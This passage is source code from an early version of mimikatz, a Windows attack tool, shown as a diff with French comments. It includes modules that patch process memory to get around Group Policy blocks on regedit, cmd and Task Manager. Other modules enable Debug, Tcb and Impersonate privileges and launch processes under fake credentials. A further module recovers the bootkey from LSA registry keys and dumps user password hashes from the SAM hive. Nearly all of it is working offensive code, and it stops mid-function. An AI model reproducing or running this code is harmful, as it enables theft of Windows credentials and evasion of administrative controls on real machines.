bool mod_mimikatz_nogpo::getApplicationPathFromCLSID(wstring application, wstring * path)
{
bool reussite = false;
DWORD regError;
wstring pathToApplication = L"Software\\Classes\\";
pathToApplication.append(application);
pathToApplication.append(L"\\CLSID");
HKEY hApplication;
regError = RegOpenKeyEx(HKEY_LOCAL_MACHINE, pathToApplication.c_str(), 0, KEY_READ, &hApplication);
if(regError == ERROR_SUCCESS)
{
DWORD ApplicationType = 0;
DWORD ApplicationSize = 0;
LPBYTE monGUID = NULL;
regError = RegQueryValueEx(hApplication, L"", NULL, &ApplicationType, monGUID, &ApplicationSize);
if(regError == ERROR_SUCCESS)
{
if(ApplicationType == REG_SZ)
{
monGUID = new BYTE[ApplicationSize];
regError = RegQueryValueEx(hApplication, L"", NULL, &ApplicationType, monGUID, &ApplicationSize);
if(regError == ERROR_SUCCESS)
{
wstring regPathToPath =
#ifdef _M_X64
L"Software\\Wow6432Node\\Classes\\CLSID\\";
#elif defined _M_IX86
L"Software\\Classes\\CLSID\\";
#endif
regPathToPath.append(reinterpret_cast<wchar_t *>(monGUID));
regPathToPath.append(L"\\LocalServer32");
HKEY hApplicationPath;
regError = RegOpenKeyEx(HKEY_LOCAL_MACHINE, regPathToPath.c_str(), 0, KEY_READ, &hApplicationPath);
if(regError == ERROR_SUCCESS)
{
DWORD ApplicationPathType = 0;
DWORD ApplicationPathSize = 0;
LPBYTE monPath = NULL;
regError = RegQueryValueEx(hApplicationPath, L"", NULL, &ApplicationPathType, monPath, &ApplicationPathSize);
if(regError == ERROR_SUCCESS)
{
if(ApplicationPathType == REG_SZ)
{
monPath = new BYTE[ApplicationPathSize];
regError = RegQueryValueEx(hApplicationPath, L"", NULL, &ApplicationPathType, monPath, &ApplicationPathSize);
if(reussite = (regError == ERROR_SUCCESS))
{
path->assign(reinterpret_cast<wchar_t *>(monPath));
} else wcout << "RegQueryValueEx \'" << monPath << "\' : " << mod_system::getWinError(false, regError) << endl;
delete[] monPath;
} else wcout << "Le type retourné par \'" << monPath << "\' n\'est pas : REG_SZ" << endl;
} else wcout << "RegQueryValueEx \'" << monPath << "\' : " << mod_system::getWinError(false, regError) << endl;
RegCloseKey(hApplicationPath);
} else wcout << "RegOpenKeyEx \'" << regPathToPath << "\' : " << mod_system::getWinError(false, regError) << endl;
} else wcout << "RegQueryValueEx \'" << monGUID << "\' : " << mod_system::getWinError(false, regError) << endl;
delete[] monGUID;
} else wcout << "Le type retourné par \'" << monGUID << "\' n\'est pas : REG_SZ" << endl;
} else wcout << "RegQueryValueEx \'" << monGUID << "\' : " << mod_system::getWinError(false, regError) << endl;
RegCloseKey(hApplication);
} else wcout << "RegOpenKeyEx \'" << pathToApplication << "\' : " << mod_system::getWinError(false, regError) << endl;
return reussite;
}
bool mod_mimikatz_nogpo::disableSimple(wstring commandLine, SIZE_T taillePattern, PBYTE maCleDeDepart, const void * maCleFinale, DWORD * monPID)
{
bool reussite = false;
PROCESS_INFORMATION * mesInfos = new PROCESS_INFORMATION();
if(mod_process::start(&commandLine, mesInfos, true))
{
PEB * monPeb = new PEB();
if(mod_process::getPeb(monPeb, mesInfos->hProcess))
{
PBYTE patternAddr = NULL;
// Ici NULL est "toléré", pas de moyen simple de connaitre la taille en mode USER :( (enfin pour le moment)
if(mod_memory::searchMemory(reinterpret_cast<PBYTE>(monPeb->ImageBaseAddress), NULL, maCleDeDepart, &patternAddr, taillePattern, true, mesInfos->hProcess))
{
if(!(reussite = mod_memory::writeMemory(patternAddr, maCleFinale, taillePattern, mesInfos->hProcess)))
{
wcout << L"mod_memory::writeMemory " << mod_system::getWinError() << endl;
}
}
else wcout << L"mod_memory::searchMemory " << mod_system::getWinError() << endl;
}
else wcout << L"mod_process::getPeb " << mod_system::getWinError() << endl;
delete monPeb;
if(!(ResumeThread(mesInfos->hThread) != -1))
wcout << L"ResumeThread " << mod_system::getWinError() << endl;
if(monPID)
{
*monPID = mesInfos->dwProcessId;
}
WaitForInputIdle(mesInfos->hProcess, INFINITE);
CloseHandle(mesInfos->hThread);
CloseHandle(mesInfos->hProcess);
}
else wcout << L"mod_process::execProcess " << mod_system::getWinError() << endl;
delete mesInfos;
return reussite;
}
bool mod_mimikatz_nogpo::disableSimple(wstring commandLine, wstring origKey, wstring kiwiKey, DWORD * monPID)
{
bool reussite = false;
if(origKey.size() == kiwiKey.size())
{
SIZE_T taillePattern = (origKey.size() + 1) * sizeof(wchar_t);
PBYTE maCleDeDepart = reinterpret_cast<PBYTE>(const_cast<wchar_t *>(origKey.c_str()));
const void * maCleFinale = kiwiKey.c_str();
reussite = disableSimple(commandLine, taillePattern, maCleDeDepart, maCleFinale, monPID);
}
else wcout << L"mod_mimikatz_nogpo::disableSimple (unicode) Taille du pattern original différente du pattern cible" << endl;
return reussite;
}
bool mod_mimikatz_nogpo::disableSimple(wstring commandLine, string origKey, string kiwiKey, DWORD * monPID)
{
bool reussite = false;
if(origKey.size() == kiwiKey.size())
{
SIZE_T taillePattern = (origKey.size() + 1) * sizeof(char);
PBYTE maCleDeDepart = reinterpret_cast<PBYTE>(const_cast<char *>(origKey.c_str()));
const void * maCleFinale = kiwiKey.c_str();
reussite = disableSimple(commandLine, taillePattern, maCleDeDepart, maCleFinale, monPID);
}
else wcout << L"mod_mimikatz_nogpo::disableSimple (non-unicode) Taille du pattern original différente du pattern cible" << endl;
return reussite;
}

View File

@ -0,0 +1,30 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#pragma once
#include "globdefs.h"
#include "mod_process.h"
#include "mod_memory.h"
#include "mod_patch.h"
#include <iostream>
class mod_mimikatz_nogpo
{
private:
static bool disableSimple(wstring commandLine, wstring origKey, wstring kiwiKey, DWORD * monPID = NULL);
static bool disableSimple(wstring commandLine, string origKey, string kiwiKey, DWORD * monPID = NULL);
static bool disableSimple(wstring commandLine, SIZE_T taillePattern, PBYTE maCleDeDepart, const void * maCleFinale, DWORD * monPID = NULL);
static bool getApplicationPathFromCLSID(wstring application, wstring * path);
public:
static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
static bool regedit(vector<wstring> * arguments);
static bool cmd(vector<wstring> * arguments);
static bool taskmgr(vector<wstring> * arguments);
static bool olpst(vector<wstring> * arguments);
};

View File

@ -0,0 +1,166 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#include "mod_mimikatz_privilege.h"
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_privilege::getMimiKatzCommands()
{
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(list, L"list", L"Liste les privilèges"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(enable, L"enable", L"Active un ou plusieurs privilèges"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(remove, L"remove", L"Retire un ou plusieurs privilèges"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(disable, L"disable", L"Désactive un ou plusieurs privilèges"));
/* Raccourçis */
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(debug, L"debug", L"Demande (ou désactive) le privilège Debug"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(security, L"security", L"Demande (ou désactive) le privilège Security"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(tcb, L"tcb", L"Demande (ou désactive) le privilège Tcb"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(impersonate, L"impersonate", L"Demande (ou désactive) le privilège Impersonate"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(assign, L"assign", L"Demande (ou désactive) le privilège AssignPrimaryToken"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(shutdown, L"shutdown", L"Demande (ou désactive) le privilège Shutdown"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(takeowner, L"takeowner", L"Demande (ou désactive) le privilège TakeOwnership"));
return monVector;
}
bool mod_mimikatz_privilege::enable(vector<wstring> * arguments)
{
bool reussite = multiplePrivs(arguments, SE_PRIVILEGE_ENABLED);
return true;
}
bool mod_mimikatz_privilege::remove(vector<wstring> * arguments)
{
bool reussite = multiplePrivs(arguments, SE_PRIVILEGE_REMOVED);
return true;
}
bool mod_mimikatz_privilege::disable(vector<wstring> * arguments)
{
bool reussite = multiplePrivs(arguments, 0);
return true;
}
bool mod_mimikatz_privilege::simplePriv(wstring priv, vector<wstring> * arguments)
{
bool ajout = arguments->empty();
wcout << L"Demande d" << (ajout ? L"\'ACTIVATION" : L"e RETRAIT") << L" du privilège : " << priv << L" : ";
vector<pair<wstring, DWORD>> * mesPrivs = new vector<pair<wstring, DWORD>>;
mesPrivs->push_back(make_pair(priv, ajout ? SE_PRIVILEGE_ENABLED : 0));
bool reussite = mod_privilege::set(mesPrivs);//, INVALID_HANDLE_VALUE);
delete mesPrivs;
if(reussite)
wcout << L"OK";
else
wcout << L"KO ; " << mod_system::getWinError();
wcout << endl;
return reussite;
}
bool mod_mimikatz_privilege::multiplePrivs(vector<wstring> * privs, DWORD type)
{
bool reussite = false;
vector<pair<wstring, DWORD>> * mesPrivs = new vector<pair<wstring, DWORD>>;
for(vector<wstring>::iterator monPrivilege = privs->begin(); monPrivilege != privs->end() ; monPrivilege++)
{
mesPrivs->push_back(make_pair(*monPrivilege, type));
}
reussite = mod_privilege::set(mesPrivs);
delete mesPrivs;
if(reussite)
wcout << L"OK";
else
wcout << L"KO ; " << mod_system::getWinError();
wcout << endl;
return reussite;
}
bool mod_mimikatz_privilege::list(vector<wstring> * arguments)
{
vector<pair<wstring, DWORD>> * mesPrivs = new vector<pair<wstring, DWORD>>;
if(mod_privilege::get(mesPrivs))//, INVALID_HANDLE_VALUE))
{
for(vector<pair<wstring, DWORD>>::iterator monPrivilege = mesPrivs->begin(); (monPrivilege != mesPrivs->end()) ; monPrivilege++)
{
wcout << setw(35) << setfill(wchar_t(L' ')) << left << monPrivilege->first << right << L'\t';
if(monPrivilege->second & SE_PRIVILEGE_VALID_ATTRIBUTES)
{
if(monPrivilege->second & SE_PRIVILEGE_ENABLED_BY_DEFAULT)
{
wcout << L"ENABLED_BY_DEFAULT ";
}
if(monPrivilege->second & SE_PRIVILEGE_ENABLED)
{
wcout << L"ENABLED ";
}
if(monPrivilege->second & SE_PRIVILEGE_REMOVED)
{
wcout << L"REMOVED ";
}
if(monPrivilege->second & SE_PRIVILEGE_USED_FOR_ACCESS)
{
wcout << L"USED_FOR_ACCESS ";
}
if(monPrivilege->second & SE_PRIVILEGE_REMOVED)
{
wcout << L"REMOVED";
}
}
wcout << endl;
}
}
else wcout << mod_system::getWinError() << endl;
return true;
}
bool mod_mimikatz_privilege::debug(vector<wstring> * arguments)
{
simplePriv(SE_DEBUG_NAME, arguments); return true;
}
bool mod_mimikatz_privilege::security(vector<wstring> * arguments)
{
simplePriv(SE_SECURITY_NAME, arguments); return true;
}
bool mod_mimikatz_privilege::tcb(vector<wstring> * arguments)
{
simplePriv(SE_TCB_NAME, arguments); return true;
}
bool mod_mimikatz_privilege::impersonate(vector<wstring> * arguments)
{
simplePriv(SE_IMPERSONATE_NAME, arguments); return true;
}
bool mod_mimikatz_privilege::assign(vector<wstring> * arguments)
{
simplePriv(SE_ASSIGNPRIMARYTOKEN_NAME, arguments); return true;
}
bool mod_mimikatz_privilege::shutdown(vector<wstring> * arguments)
{
simplePriv(SE_SHUTDOWN_NAME, arguments); return true;
}
bool mod_mimikatz_privilege::takeowner(vector<wstring> * arguments)
{
simplePriv(SE_TAKE_OWNERSHIP_NAME, arguments); return true;
}

View File

@ -0,0 +1,33 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#pragma once
#include "globdefs.h"
#include "mod_system.h"
#include "mod_privilege.h"
#include <iostream>
class mod_mimikatz_privilege
{
private:
static bool multiplePrivs(vector<wstring> * privs, DWORD type);
static bool simplePriv(wstring priv, vector<wstring> * arguments);
public:
static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
static bool list(vector<wstring> * arguments);
static bool enable(vector<wstring> * arguments);
static bool remove(vector<wstring> * arguments);
static bool disable(vector<wstring> * arguments);
static bool debug(vector<wstring> * arguments);
static bool security(vector<wstring> * arguments);
static bool tcb(vector<wstring> * arguments);
static bool impersonate(vector<wstring> * arguments);
static bool assign(vector<wstring> * arguments);
static bool shutdown(vector<wstring> * arguments);
static bool takeowner(vector<wstring> * arguments);
};

View File

@ -0,0 +1,297 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#include "mod_mimikatz_process.h"
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_process::getMimiKatzCommands()
{
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(list, L"list", L"Liste les processus"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(start, L"start", L"Exécute un processus, /paused et/ou /sudo"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(suspend, L"suspend", L"Suspend l\'exécution d\'un processus"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(resume, L"resume", L"Reprend un processus"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(stop, L"stop", L"Stoppe un (ou plusieurs) processus"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(modules, L"modules", L"Liste les modules (pour le moment du PID courant)"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(iat, L"iat", L"Liste la table d\'adressage"));
return monVector;
}
bool mod_mimikatz_process::start(vector<wstring> * arguments)
{
if(!arguments->empty())
{
wstring commande = arguments->back();
bool paused = false;
bool sudo = false;
wcout << L"Demande d\'exécution de : \'" << commande << L"'" << endl;
PROCESS_INFORMATION pi = {INVALID_HANDLE_VALUE, INVALID_HANDLE_VALUE, 0, 0};
switch(arguments->size())
{
case 2:
if(_wcsicmp(arguments->front().c_str(), L"/paused") == 0)
paused = true;
else if(_wcsicmp(arguments->front().c_str(), L"/sudo") == 0)
sudo = true;
else
goto doStartProcess_syntaxerror;
break;
case 3:
if(_wcsicmp(arguments->front().c_str(), L"/paused") == 0)
paused = true;
else
goto doStartProcess_syntaxerror;
if(_wcsicmp(arguments->at(1).c_str(), L"/sudo") == 0)
sudo = true;
else
goto doStartProcess_syntaxerror;
break;
}
if(mod_process::start(&commande, &pi, paused, sudo))
{
if(paused)
wcout << L" * Le Thread principal est suspendu ! Reprise avec : thread::resume " << pi.dwThreadId << endl;
if(sudo)
wcout << L" * Le processus est démarré avec de fausses données d\'identification" << endl;
printInfosFromPid(pi.dwProcessId, pi.dwThreadId);
}
else wcout << L"mod_process::start ; " << mod_system::getWinError() << endl;
}
else
{
doStartProcess_syntaxerror:
wcout << L"Erreur de syntaxe ; " << L"process::start [/paused] [/sudo] commande" << endl;
}
return true;
}
bool mod_mimikatz_process::stop(vector<wstring> * arguments)
{
for(vector<wstring>::iterator monProcessName = arguments->begin(); monProcessName != arguments->end(); monProcessName++)
{
mod_process::KIWI_PROCESSENTRY32 monProcess;
wstring procName = *monProcessName;
if(mod_process::getUniqueForName(&monProcess, &procName))
{
wcout << L"Fin de : " << procName << L'\t';
if(mod_process::stop(monProcess.th32ProcessID))
wcout << L"OK";
else
wcout << L"KO - mod_process::stop ; " << mod_system::getWinError();
wcout << endl;
}
else wcout << L"mod_process::getUniqueForName ; " << mod_system::getWinError() << endl;
}
return true;
}
bool mod_mimikatz_process::suspend(vector<wstring> * arguments)
{
for(vector<wstring>::iterator monProcessName = arguments->begin(); monProcessName != arguments->end(); monProcessName++)
{
mod_process::KIWI_PROCESSENTRY32 monProcess;
wstring procName = *monProcessName;
if(mod_process::getUniqueForName(&monProcess, &procName))
{
wcout << L"Suspension de : " << procName << L'\t';
if(mod_process::suspend(monProcess.th32ProcessID))
wcout << L"OK";
else
wcout << L"KO - mod_process::suspend ; " << mod_system::getWinError();
wcout << endl;
}
else wcout << L"mod_process::getUniqueForName ; " << mod_system::getWinError() << endl;
}
return true;
}
bool mod_mimikatz_process::resume(vector<wstring> * arguments)
{
for(vector<wstring>::iterator monProcessName = arguments->begin(); monProcessName != arguments->end(); monProcessName++)
{
mod_process::KIWI_PROCESSENTRY32 monProcess;
wstring procName = *monProcessName;
if(mod_process::getUniqueForName(&monProcess, &procName))
{
wcout << L"Reprise de : " << procName << L'\t';
if(mod_process::resume(monProcess.th32ProcessID))
wcout << L"OK";
else
wcout << L"KO - mod_process::resume ; " << mod_system::getWinError();
wcout << endl;
}
else wcout << L"mod_process::getUniqueForName ; " << mod_system::getWinError() << endl;
}
return true;
}
bool mod_mimikatz_process::list(vector<wstring> * arguments)
{
vector<mod_process::KIWI_PROCESSENTRY32> * vectorProcess = new vector<mod_process::KIWI_PROCESSENTRY32>();
if(mod_process::getList(vectorProcess))
{
wcout << L"PID\tPPID\t#Ths\tpri\timage" << endl;
for(vector<mod_process::KIWI_PROCESSENTRY32>::iterator monProcess = vectorProcess->begin(); monProcess != vectorProcess->end(); monProcess++)
{
wcout <<
setw(5) << setfill(wchar_t(' ')) << monProcess->th32ProcessID << L'\t' <<
setw(5) << setfill(wchar_t(' ')) << monProcess->th32ParentProcessID << L'\t' <<
setw(5) << setfill(wchar_t(' ')) << monProcess->cntThreads << L'\t' <<
setw(5) << setfill(wchar_t(' ')) << monProcess->pcPriClassBase << L'\t' <<
monProcess->szExeFile <<
endl;
}
}
else wcout << L"mod_process::getList ; " << mod_system::getWinError() << endl;
delete vectorProcess;
return true;
}
bool mod_mimikatz_process::modules(vector<wstring> * arguments)
{
DWORD processId = 0 ;
if(!arguments->empty() && !(arguments->size() > 1))
{
wstringstream monBuffer;
monBuffer << arguments->front();
monBuffer >> processId;
}
vector<mod_process::KIWI_MODULEENTRY32> * vectorModules = new vector<mod_process::KIWI_MODULEENTRY32>();
if(mod_process::getModulesListForProcessId(vectorModules, &processId))
{
wcout << L"@Base\tTaille\tModule\tPath" << endl;
for(vector<mod_process::KIWI_MODULEENTRY32>::iterator monModule = vectorModules->begin(); monModule != vectorModules->end(); monModule++)
{
wcout << monModule->modBaseAddr << L'\t' << monModule->modBaseSize << '\t' << monModule->szModule << L'\t' << monModule->szExePath << endl;
}
}
else
wcout << L"mod_process::getModulesListForProcessId ; " << mod_system::getWinError() << endl;
delete vectorModules;
return true;
}
bool mod_mimikatz_process::iat(vector<wstring> * arguments)
{
wstring process;
wstring module;
switch(arguments->size())
{
case 2:
process = arguments->at(0);
module = arguments->at(1);
break;
case 1:
process = arguments->at(0);
break;
default:
;
}
mod_process::KIWI_PROCESSENTRY32 monProcess;
if(mod_process::getUniqueForName(&monProcess, &process))
{
if(HANDLE monHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, false, monProcess.th32ProcessID))
{
if(module.empty() || (module.front() != L'*'))
{
if(module.empty())
module.assign(process);
mod_process::KIWI_MODULEENTRY32 * monModule = new mod_process::KIWI_MODULEENTRY32();
if(mod_process::getUniqueModuleForName(monModule, &module, &monProcess.th32ProcessID))
{
printIATFromModule(monModule, monHandle);
}
else wcout << L"mod_process::getUniqueModuleForName ; " << mod_system::getWinError() << endl;
delete monModule;
}
else
{
vector<mod_process::KIWI_MODULEENTRY32> * vectorModules = new vector<mod_process::KIWI_MODULEENTRY32>();
if(mod_process::getModulesListForProcessId(vectorModules, &monProcess.th32ProcessID))
{
for(vector<mod_process::KIWI_MODULEENTRY32>::iterator monModule = vectorModules->begin(); monModule != vectorModules->end(); monModule++)
printIATFromModule(&*monModule, monHandle);
}
else wcout << L"mod_process::getModulesListForProcessId ; " << mod_system::getWinError() << endl;
delete vectorModules;
}
CloseHandle(monHandle);
}
}
else wcout << L"mod_process::getUniqueForName ; " << mod_system::getWinError() << endl;
return true;
}
void mod_mimikatz_process::printInfosFromPid(DWORD &PID, DWORD ThreadId)
{
wcout << L"PID : " << PID << endl;
if(ThreadId)
{
wcout << L"ThreadID : " << ThreadId << endl;
}
LUID monId = {0, 0};
if(mod_process::getAuthentificationIdFromProcessId(PID, monId))
{
wcout << "AuthId_h : " << monId.HighPart << endl;
wcout << "AuthId_l : " << monId.LowPart << endl;
}
else wcout << L"Erreur : " << mod_system::getWinError() << endl;
}
void mod_mimikatz_process::printIATFromModule(mod_process::KIWI_MODULEENTRY32 * monModule, HANDLE monHandle)
{
wcout << monModule->szModule << L" -> " << monModule->szExePath << endl;
PBYTE baseAddr = reinterpret_cast<PBYTE>(monModule->modBaseAddr);
vector<pair<string, vector<mod_process::KIWI_IAT_MODULE>>> * monIAT = new vector<pair<string, vector<mod_process::KIWI_IAT_MODULE>>>();
if(mod_process::getIAT(baseAddr, monIAT, monHandle))
{
for(vector<pair<string, vector<mod_process::KIWI_IAT_MODULE>>>::iterator monModuleImporte = monIAT->begin(); monModuleImporte != monIAT->end(); monModuleImporte++)
{
wcout << L" - Imports depuis : " << monModuleImporte->first.c_str() << endl;
for(vector<mod_process::KIWI_IAT_MODULE>::iterator maFonctionImporte = monModuleImporte->second.begin(); maFonctionImporte != monModuleImporte->second.end(); maFonctionImporte++)
{
wcout << L" " << maFonctionImporte->ptrToFunc << L" -> " << maFonctionImporte->ptrFunc << L' ';
if(maFonctionImporte->Ordinal != 0)
wcout << L"O# " << maFonctionImporte->Ordinal;
else
wcout << maFonctionImporte->funcName.c_str();
wcout << endl;
}
}
}
delete monIAT;
}

View File

@ -0,0 +1,32 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#pragma once
#include "globdefs.h"
#include "mod_system.h"
#include "mod_process.h"
#include <iostream>
class mod_mimikatz_process
{
private:
static void printInfosFromPid(DWORD &PID, DWORD ThreadId);
static void printIATFromModule(mod_process::KIWI_MODULEENTRY32 * monModule, HANDLE monHandle = INVALID_HANDLE_VALUE);
public:
static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
static bool list(vector<wstring> * arguments);
static bool start(vector<wstring> * arguments);
static bool suspend(vector<wstring> * arguments);
static bool resume(vector<wstring> * arguments);
static bool stop(vector<wstring> * arguments);
static bool modules(vector<wstring> * arguments);
static bool iat(vector<wstring> * arguments);
};

View File

@ -0,0 +1,351 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#include "mod_mimikatz_samdump.h"
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_samdump::getMimiKatzCommands()
{
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(full, L"hashes", L"Récupère la bootkey depuis une ruche SYSTEM puis les hashes depuis une ruche SAM"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(bootkey, L"bootkey", L"Récupère la bootkey depuis une ruche SYSTEM"));
return monVector;
}
bool mod_mimikatz_samdump::bootkey(vector<wstring> * arguments)
{
unsigned char bootkey[0x10];
if(!arguments->empty())
getInfosFromHive(arguments->front(), bootkey);
else
getInfosFromReg(bootkey);
return true;
}
bool mod_mimikatz_samdump::full(vector<wstring> * arguments)
{
unsigned char bootkey[0x10];
if(!arguments->empty() && (arguments->size() >= 1 && arguments->size() <= 2))
{
if(getInfosFromHive(arguments->front().c_str(), bootkey))
{
if(!getUsersAndHashesFromHive(arguments->back().c_str(), bootkey))
wcout << L"Erreur lors de l\'exploration des ruches" << endl;
}
}
else
{
if(getInfosFromReg(bootkey))
{
if(!getUsersAndHashesFromReg(bootkey))
wcout << L"Erreur lors de l\'exploration du registre" << endl;
}
}
return true;
}
bool mod_mimikatz_samdump::getUsersAndHashesFromHive(wstring samHive, unsigned char bootkey[0x10])
{
bool reussite = false;
mod_hive::hive * monHive = new mod_hive::hive();
mod_hive::InitHive(monHive);
if(mod_hive::RegOpenHive(samHive.c_str(), monHive))
{
string * rootKey = new string();
if(mod_hive::RegGetRootKey(monHive, rootKey))
{
string * keyAccountName = new string(*rootKey); keyAccountName->append("\\SAM\\Domains\\Account");
string * valAccountName = new string("F");
int longueurF = 0; unsigned char *bufferF = NULL;
if(mod_hive::RegOpenKeyQueryValue(monHive, keyAccountName, valAccountName, &bufferF, &longueurF))
{
BYTE hBootKey[0x20] = {0};
if(mod_hash::getHbootKeyFromBootKeyAndF(hBootKey, bootkey, bufferF))
{
string * keyUsers = new string(*rootKey); keyUsers->append("\\SAM\\Domains\\Account\\Users");
mod_hive::nk_hdr * nodeUsers = new mod_hive::nk_hdr();
if(mod_hive::RegOpenKey(monHive, keyUsers, &nodeUsers ))
{
vector<string> * keyNames = new vector<string>();
if(reussite = mod_hive::RegEnumKey(monHive, nodeUsers, keyNames))
{
for(vector<string>::iterator maKey = keyNames->begin(); maKey != keyNames->end(); maKey++)
{
if(maKey->compare("Names") != 0)
{
string * keyUser = new string(*keyUsers); keyUser->append("\\"); keyUser->append(*maKey);
string valUserF = "F"; mod_hash::USER_F * userF = NULL; int longueurF = 0;
string valUserV = "V"; mod_hash::USER_V * userV = NULL; int longueurV = 0;
if(reussite &= mod_hive::RegOpenKeyQueryValue(monHive, keyUser, &valUserV, reinterpret_cast<unsigned char **>(&userV), &longueurV) &&
mod_hive::RegOpenKeyQueryValue(monHive, keyUser, &valUserF, reinterpret_cast<unsigned char **>(&userF), &longueurF))
{
infosFromUserAndKey(userF, userV, hBootKey);
delete[] userF, userV;
}
delete keyUser;
}
}
}
delete keyNames;
}
delete nodeUsers, keyUsers;
}
delete[] bufferF;
}
delete valAccountName, keyAccountName;
}
delete rootKey;
}
delete monHive;
return reussite;
}
bool mod_mimikatz_samdump::getInfosFromHive(wstring systemHive, unsigned char bootkey[0x10])
{
bool reussite = false;
mod_hive::hive * monHive = new mod_hive::hive();
mod_hive::InitHive(monHive);
if(mod_hive::RegOpenHive(systemHive.c_str(), monHive))
{
string * rootKey = new string();
if(mod_hive::RegGetRootKey(monHive, rootKey))
{
DWORD nControlSet = 0;
if(getNControlSetFromHive(monHive, rootKey, &nControlSet))
{
stringstream * monControlSet = new stringstream;
*monControlSet << *rootKey << "\\ControlSet" << setw(3) << setfill('0') << nControlSet;
string * fullControlSet = new string(monControlSet->str());
delete monControlSet;
wstring * computerName = new wstring();
if(getComputerNameFromHive(monHive, fullControlSet, computerName))
wcout << L"Ordinateur : " << *computerName << endl;
delete computerName;
if(reussite = getBootKeyFromHive(monHive, fullControlSet, bootkey))
wcout << L"BootKey : " << mod_text::stringOfHex(bootkey, 0x10) << endl;
delete fullControlSet;
}
}
delete rootKey;
mod_hive::RegCloseHive(monHive);
}
delete monHive;
return reussite;
}
bool mod_mimikatz_samdump::getComputerNameFromHive(mod_hive::hive * theHive, string * fullControlSet, wstring * computerName)
{
bool reussite = false;
string * keyComputerName = new string(*fullControlSet); keyComputerName->append("\\Control\\ComputerName\\ComputerName");
string * valComputerName = new string("ComputerName");
int longueur = 0; unsigned char *buffer = NULL;
if(reussite = mod_hive::RegOpenKeyQueryValue(theHive, keyComputerName, valComputerName, &buffer, &longueur))
{
computerName->assign(reinterpret_cast<wchar_t *>(buffer), longueur / sizeof(wchar_t));
delete[] buffer;
}
delete valComputerName;
delete keyComputerName;
return reussite;
}
bool mod_mimikatz_samdump::getBootKeyFromHive(mod_hive::hive * theHive, string * fullControlSet, unsigned char bootkey[0x10])
{
bool reussite = false;
unsigned char key[0x10];
char *kn[] = {"JD", "Skew1", "GBG", "Data"};
for(unsigned int i = 0; i < sizeof(kn) / sizeof(char *); i++ )
{
string * maKey = new string(*fullControlSet); maKey->append("\\Control\\Lsa\\"); maKey->append(kn[i]);
mod_hive::nk_hdr * n = new mod_hive::nk_hdr();
if(reussite = mod_hive::RegOpenKey(theHive, maKey, &n))
{
char kv[9] = {0};
unsigned char *b = mod_hive::read_data(theHive, n->classname_off + 0x1000);
for(short j = 0; j < (n->classname_len / 2) && j < 8; j++)
kv[j] = b[j*2];
sscanf_s(kv, "%x", (unsigned int*) (&key[i*4]));
}
delete n, maKey;
}
if(reussite)
mod_hash::getBootKeyFromKey(bootkey, key);
return reussite;
}
bool mod_mimikatz_samdump::getBootKeyFromReg(BYTE bootkey[0x10])
{
bool reussite = false;
DWORD code;
BYTE key[0x10] = {0};
wchar_t * kn[] = {L"JD", L"Skew1", L"GBG", L"Data"};
HKEY monLSA;
code = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SYSTEM\\CurrentControlSet\\Control\\Lsa", 0, KEY_READ, &monLSA);
if(code == ERROR_SUCCESS)
{
for(unsigned int i = 0; (i < sizeof(kn) / sizeof(wchar_t *)) && (code == ERROR_SUCCESS); i++ )
{
HKEY monSecret;
